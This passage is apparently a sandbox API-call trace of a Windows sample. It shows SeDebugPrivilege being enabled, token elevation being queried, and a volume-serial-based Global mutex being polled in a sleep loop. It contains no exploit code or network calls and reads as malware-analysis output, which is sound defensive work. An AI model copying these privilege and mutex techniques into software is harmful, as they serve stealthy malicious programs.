Size=0x30) returned 0x3cb0f0 [0066.967] GetCurrentProcess () returned 0xffffffff [0066.967] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x1f4f9c0 | out: TokenHandle=0x1f4f9c0*=0xbc) returned 1 [0066.967] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1f4f9b8 | out: lpLuid=0x1f4f9b8*(LowPart=0x14, HighPart=0)) returned 1 [0066.987] AdjustTokenPrivileges (in: TokenHandle=0xbc, DisableAllPrivileges=0, NewState=0x1f4f9a8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0066.987] CloseHandle (hObject=0xbc) returned 1 [0066.987] GetProcessHeap () returned 0x3b0000 [0066.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb0f0 | out: hHeap=0x3b0000) returned 1 [0066.987] GetProcessHeap () returned 0x3b0000 [0066.987] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x434) returned 0x3e5e98 [0066.987] GetProcessHeap () returned 0x3b0000 [0066.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e5e98 | out: hHeap=0x3b0000) returned 1 [0066.987] GetProcessHeap () returned 0x3b0000 [0066.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca368 | out: hHeap=0x3b0000) returned 1 [0066.987] GetProcessHeap () returned 0x3b0000 [0066.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bec48 | out: hHeap=0x3b0000) returned 1 Thread: id = 5 os_tid = 0xb2c [0066.972] GetVersion () returned 0x1db10106 [0066.972] GetCurrentProcess () returned 0xffffffff [0066.972] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x217fe34 | out: TokenHandle=0x217fe34*=0xfc) returned 1 [0066.972] GetTokenInformation (in: TokenHandle=0xfc, TokenInformationClass=0x14, TokenInformation=0x217fe2c, TokenInformationLength=0x4, ReturnLength=0x217fe30 | out: TokenInformation=0x217fe2c, ReturnLength=0x217fe30) returned 1 [0066.972] CloseHandle (hObject=0xfc) returned 1 [0066.972] GetProcessHeap () returned 0x3b0000 [0066.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9bb8 [0066.972] GetProcessHeap () returned 0x3b0000 [0066.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9cd0 [0066.972] GetProcessHeap () returned 0x3b0000 [0066.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c9cf8 [0066.972] GetProcessHeap () returned 0x3b0000 [0066.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3d0d20 [0066.972] GetProcessHeap () returned 0x3b0000 [0066.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3d0d20 | out: hHeap=0x3b0000) returned 1 [0066.973] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9cd0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.973] GetProcessHeap () returned 0x3b0000 [0066.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9cf8 | out: hHeap=0x3b0000) returned 1 [0066.973] GetProcessHeap () returned 0x3b0000 [0066.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9bb8 | out: hHeap=0x3b0000) returned 1 [0066.973] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.973] GetProcessHeap () returned 0x3b0000 [0066.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9cd0 | out: hHeap=0x3b0000) returned 1 [0066.973] GetProcessHeap () returned 0x3b0000 [0066.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c3f28 [0066.973] GetProcessHeap () returned 0x3b0000 [0066.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c3f70 [0066.973] GetProcessHeap () returned 0x3b0000 [0066.973] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c3f70, Size=0x72) returned 0x3bf858 [0066.973] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xfc [0066.973] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0x0) returned 0x102 [0066.973] CloseHandle (hObject=0xfc) returned 1 [0066.974] GetProcessHeap () returned 0x3b0000 [0066.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c3f28 | out: hHeap=0x3b0000) returned 1 [0066.974] GetProcessHeap () returned 0x3b0000 [0066.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf858 | out: hHeap=0x3b0000) returned 1 [0066.974] Sleep (dwMilliseconds=0x3e8) [0068.711] GetProcessHeap () returned 0x3b0000 [0068.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9e38 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9e60 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c9e88 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cb090 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb090 | out: hHeap=0x3b0000) returned 1 [0068.712] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9e60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e88 | out: hHeap=0x3b0000) returned 1 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e38 | out: hHeap=0x3b0000) returned 1 [0068.712] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9e60 | out: hHeap=0x3b0000) returned 1 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4168 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.712] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c41b0 [0068.712] GetProcessHeap () returned 0x3b0000 [0068.713] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c41b0, Size=0x72) returned 0x3bfad8 [0068.713] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x110 [0068.713] WaitForSingleObject (hHandle=0x110, dwMilliseconds=0x0) returned 0x102 [0068.713] CloseHandle (hObject=0x110) returned 1 [0068.713] GetProcessHeap () returned 0x3b0000 [0068.713] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4168 | out: hHeap=0x3b0000) returned 1 [0068.713] GetProcessHeap () returned 0x3b0000 [0068.713] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfad8 | out: hHeap=0x3b0000) returned 1 [0068.713] Sleep (dwMilliseconds=0x3e8) [0070.595] GetProcessHeap () returned 0x3b0000 [0070.595] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0070.596] GetProcessHeap () returned 0x3b0000 [0070.596] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8658 [0070.596] GetProcessHeap () returned 0x3b0000 [0070.596] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0070.596] GetProcessHeap () returned 0x3b0000 [0070.596] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0070.596] GetProcessHeap () returned 0x3b0000 [0070.596] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0070.596] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.596] GetProcessHeap () returned 0x3b0000 [0070.596] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0070.596] GetProcessHeap () returned 0x3b0000 [0070.596] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0070.596] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.597] GetProcessHeap () returned 0x3b0000 [0070.597] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0070.597] GetProcessHeap () returned 0x3b0000 [0070.597] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0070.597] GetProcessHeap () returned 0x3b0000 [0070.597] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0070.597] GetProcessHeap () returned 0x3b0000 [0070.597] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0070.597] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0070.598] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0070.598] CloseHandle (hObject=0x170) returned 1 [0070.598] GetProcessHeap () returned 0x3b0000 [0070.598] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0070.598] GetProcessHeap () returned 0x3b0000 [0070.598] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0070.598] Sleep (dwMilliseconds=0x3e8) [0071.606] GetProcessHeap () returned 0x3b0000 [0071.606] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8658 [0071.606] GetProcessHeap () returned 0x3b0000 [0071.606] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0071.606] GetProcessHeap () returned 0x3b0000 [0071.606] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0071.606] GetProcessHeap () returned 0x3b0000 [0071.606] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0071.606] GetProcessHeap () returned 0x3b0000 [0071.606] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0071.606] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0071.606] GetProcessHeap () returned 0x3b0000 [0071.606] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0071.607] GetProcessHeap () returned 0x3b0000 [0071.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0071.607] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0071.607] GetProcessHeap () returned 0x3b0000 [0071.607] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0071.607] GetProcessHeap () returned 0x3b0000 [0071.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0071.607] GetProcessHeap () returned 0x3b0000 [0071.607] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0071.607] GetProcessHeap () returned 0x3b0000 [0071.607] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0071.607] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0071.607] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0071.608] CloseHandle (hObject=0x170) returned 1 [0071.608] GetProcessHeap () returned 0x3b0000 [0071.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0071.608] GetProcessHeap () returned 0x3b0000 [0071.608] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0071.608] Sleep (dwMilliseconds=0x3e8) [0072.624] GetProcessHeap () returned 0x3b0000 [0072.624] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0072.624] GetProcessHeap () returned 0x3b0000 [0072.624] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8658 [0072.624] GetProcessHeap () returned 0x3b0000 [0072.624] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0072.624] GetProcessHeap () returned 0x3b0000 [0072.624] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0072.624] GetProcessHeap () returned 0x3b0000 [0072.625] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0072.625] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0072.625] GetProcessHeap () returned 0x3b0000 [0072.625] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0072.625] GetProcessHeap () returned 0x3b0000 [0072.625] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0072.625] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0072.625] GetProcessHeap () returned 0x3b0000 [0072.625] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0072.625] GetProcessHeap () returned 0x3b0000 [0072.625] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0072.625] GetProcessHeap () returned 0x3b0000 [0072.625] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0072.625] GetProcessHeap () returned 0x3b0000 [0072.625] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0072.625] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0072.626] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0072.626] CloseHandle (hObject=0x170) returned 1 [0072.626] GetProcessHeap () returned 0x3b0000 [0072.626] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0072.626] GetProcessHeap () returned 0x3b0000 [0072.626] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0072.626] Sleep (dwMilliseconds=0x3e8) [0073.779] GetProcessHeap () returned 0x3b0000 [0073.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8658 [0073.779] GetProcessHeap () returned 0x3b0000 [0073.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0073.779] GetProcessHeap () returned 0x3b0000 [0073.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0073.779] GetProcessHeap () returned 0x3b0000 [0073.779] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0073.779] GetProcessHeap () returned 0x3b0000 [0073.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0073.780] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.780] GetProcessHeap () returned 0x3b0000 [0073.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0073.780] GetProcessHeap () returned 0x3b0000 [0073.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0073.780] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.780] GetProcessHeap () returned 0x3b0000 [0073.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0073.780] GetProcessHeap () returned 0x3b0000 [0073.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0073.780] GetProcessHeap () returned 0x3b0000 [0073.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0073.780] GetProcessHeap () returned 0x3b0000 [0073.780] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0073.780] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0073.780] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0073.781] CloseHandle (hObject=0x170) returned 1 [0073.781] GetProcessHeap () returned 0x3b0000 [0073.781] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0073.781] GetProcessHeap () returned 0x3b0000 [0073.781] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0073.781] Sleep (dwMilliseconds=0x3e8) [0077.012] GetProcessHeap () returned 0x3b0000 [0077.012] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0077.012] GetProcessHeap () returned 0x3b0000 [0077.012] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8658 [0077.012] GetProcessHeap () returned 0x3b0000 [0077.012] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0077.012] GetProcessHeap () returned 0x3b0000 [0077.013] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0077.013] GetProcessHeap () returned 0x3b0000 [0077.013] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0077.013] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0077.013] GetProcessHeap () returned 0x3b0000 [0077.013] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0077.013] GetProcessHeap () returned 0x3b0000 [0077.014] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0077.014] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0077.065] GetProcessHeap () returned 0x3b0000 [0077.065] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0077.065] GetProcessHeap () returned 0x3b0000 [0077.065] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0077.065] GetProcessHeap () returned 0x3b0000 [0077.065] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0077.065] GetProcessHeap () returned 0x3b0000 [0077.065] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0077.065] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0077.065] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0077.065] CloseHandle (hObject=0x170) returned 1 [0077.065] GetProcessHeap () returned 0x3b0000 [0077.065] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0077.065] GetProcessHeap () returned 0x3b0000 [0077.065] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0077.065] Sleep (dwMilliseconds=0x3e8) [0078.845] GetProcessHeap () returned 0x3b0000 [0078.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8658 [0078.845] GetProcessHeap () returned 0x3b0000 [0078.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0078.845] GetProcessHeap () returned 0x3b0000 [0078.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0078.845] GetProcessHeap () returned 0x3b0000 [0078.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0078.845] GetProcessHeap () returned 0x3b0000 [0078.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0078.846] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.846] GetProcessHeap () returned 0x3b0000 [0078.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0078.846] GetProcessHeap () returned 0x3b0000 [0078.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0078.846] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.846] GetProcessHeap () returned 0x3b0000 [0078.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0078.846] GetProcessHeap () returned 0x3b0000 [0078.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0078.847] GetProcessHeap () returned 0x3b0000 [0078.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0078.847] GetProcessHeap () returned 0x3b0000 [0078.847] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0078.847] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0078.847] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0078.847] CloseHandle (hObject=0x170) returned 1 [0078.847] GetProcessHeap () returned 0x3b0000 [0078.847] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0078.847] GetProcessHeap () returned 0x3b0000 [0078.847] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0078.847] Sleep (dwMilliseconds=0x3e8) [0079.890] GetProcessHeap () returned 0x3b0000 [0079.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0079.890] GetProcessHeap () returned 0x3b0000 [0079.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8658 [0079.891] GetProcessHeap () returned 0x3b0000 [0079.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0079.891] GetProcessHeap () returned 0x3b0000 [0079.891] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0079.891] GetProcessHeap () returned 0x3b0000 [0079.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0079.891] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0079.891] GetProcessHeap () returned 0x3b0000 [0079.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0079.891] GetProcessHeap () returned 0x3b0000 [0079.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 